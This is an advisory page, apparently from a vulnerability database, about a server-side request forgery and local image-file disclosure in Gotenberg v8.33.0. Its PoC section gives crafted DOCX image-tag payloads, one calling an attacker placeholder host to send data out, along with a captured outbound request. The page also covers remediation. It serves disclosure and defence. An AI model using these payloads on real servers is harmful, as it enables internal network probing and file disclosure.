Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Network-reachable default endpoint, no auth or UI, but blind SSRF with image-only local read yields limited confidentiality impact, so C:L rather than C:H.
Primary rating from Vendor (https://github.com/gotenberg/gotenberg).
CVSS VectorVendor: https://github.com/gotenberg/gotenberg
Lifecycle Timeline
3DescriptionCVE.org
Summary
Server-Side Request Forgery (SSRF) vulnerability affecting the /forms/libreoffice/convert endpoint in Gotenberg v8.33.0 running with the default configuration.
By uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations.
Additionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document.
PoC
External Resource Retrieval
Create a DOCX document containing the following content:
<img src="http://[ATTACKER_HOST]:[PORT]/path?query=somedata">
Upload the document to the /forms/libreoffice/convert endpoint.
During document processing, LibreOffice automatically retrieves the referenced external resource.
An outbound request can be observed on Burp Collaborator:
GET /secretendpoint?query=hacked HTTP/1.1
Host: gotenbergssrf.3cguefu7x55rg8z13mzu08i45vbmzcn1.oastify.com
User-Agent: LibreOffice 26.2.3.2 denylistedbackend/8.20.0 OpenSSL/3.5.6
Accept: */*
Accept-Encoding: deflate, gzip, br, zstdLocal Resource Retrieval
Create a DOCX document containing the following content:
<img src="/path/to/image.png">
Upload the document to the /forms/libreoffice/convert endpoint.
During document conversion, LibreOffice loads the referenced image from the local filesystem and embeds it into the generated output document.
Result in output document (used payload - <img src="/usr/share/pixmaps/debian-logo.png">):
<img width="1346" height="397" alt="result" src="https://github.com/user-attachments/assets/52e18316-6654-4341-82e8-14df6c1d7d5e" />
Impact
The identified vulnerability enables two primary attack vectors:
Blind SSRF: The conversion service allows arbitrary outbound HTTP(S) requests during document processing. Although response bodies are not returned to the user, this can be leveraged for internal network discovery and interaction with services accessible only from the internal network or relying on network-level trust assumptions.
Local File Disclosure via Image Resource Loading: The conversion engine allows local filesystem resources to be accessed during document rendering when referenced as image sources in the uploaded document. By specifying local file paths in image tags, LibreOffice resolves and embeds the referenced image content into the generated output document. This behavior is limited to resources loadable as images during document conversion, rather than general file read primitives, but may still allow retrieval of sensitive files accessible to the LibreOffice process.
Notes
The issue was reproduced on Gotenberg v8.33.0 under the default configuration.
Given the impact of arbitrary outbound HTTP(S) requests (SSRF) and limited local filesystem resource disclosure via image resource loading during document conversion, this issue may warrant a CVE assignment.
AnalysisAI
Server-side request forgery in Gotenberg v8.33.0 and earlier allows remote unauthenticated attackers to coerce the server into making arbitrary outbound HTTP(S) requests and to disclose local image files by uploading a crafted DOCX to the /forms/libreoffice/convert endpoint. The flaw stems from LibreOffice automatically resolving external and local resources referenced in <img> tags during conversion, exposing internal networks and on-disk image files. Publicly available exploit code exists via the vendor's GHSA-2mrg-35hw-x3x9 advisory, though no CISA KEV listing or EPSS data is available at time of analysis.
Technical ContextAI
Gotenberg is a Go-based stateless API (pkg:go/github.com_gotenberg_gotenberg_v8) that wraps headless converters such as Chromium and LibreOffice to render PDFs and other office formats. The vulnerable code path is the /forms/libreoffice/convert route, which hands uploaded documents to LibreOffice (per the PoC, version 26.2.3.2 with OpenSSL/3.5.6) for conversion. LibreOffice's HTML/DOCX rendering engine treats <img src=...> values as live references and will fetch them from the network or local filesystem, which is the classic CWE-918 (Server-Side Request Forgery) pattern: the server acts on a URL fully controlled by untrusted input without egress filtering or scheme/host validation. Because Gotenberg ships with no SSRF protection in its default configuration, this LibreOffice behavior is directly exposed to any HTTP client of the conversion API.
RemediationAI
Vendor-released patch: Gotenberg 8.34.0 - upgrade per advisory GHSA-2mrg-35hw-x3x9 (https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2mrg-35hw-x3x9). Where immediate upgrade is not possible, restrict network access so the Gotenberg container cannot reach internal management ranges, cloud metadata endpoints (e.g., 169.254.169.254), or other sensitive internal services by enforcing an egress allow-list at the network or service-mesh layer; this preserves outbound DNS and HTTPS needed for normal operation but eliminates the SSRF pivot. Also place authentication or a network ACL in front of the /forms/libreoffice/convert endpoint so only trusted services can submit documents, and consider running Gotenberg in a stripped container image so the LibreOffice process has minimal sensitive image files (keys, dashboards, configuration assets) on disk for it to embed. These controls reduce blast radius but do not address the underlying LibreOffice resource-fetch behavior, which only the upgrade fixes.
The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe
The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se
The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k
The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak
The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a
The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly
A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig
The ssl3_send_client_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before
In OpenSSL 1.1.0 before 1.1.0d, if a malicious server supplies bad parameters for a DHE or ECDHE key exchange then this
A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL proto
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-43029
GHSA-2mrg-35hw-x3x9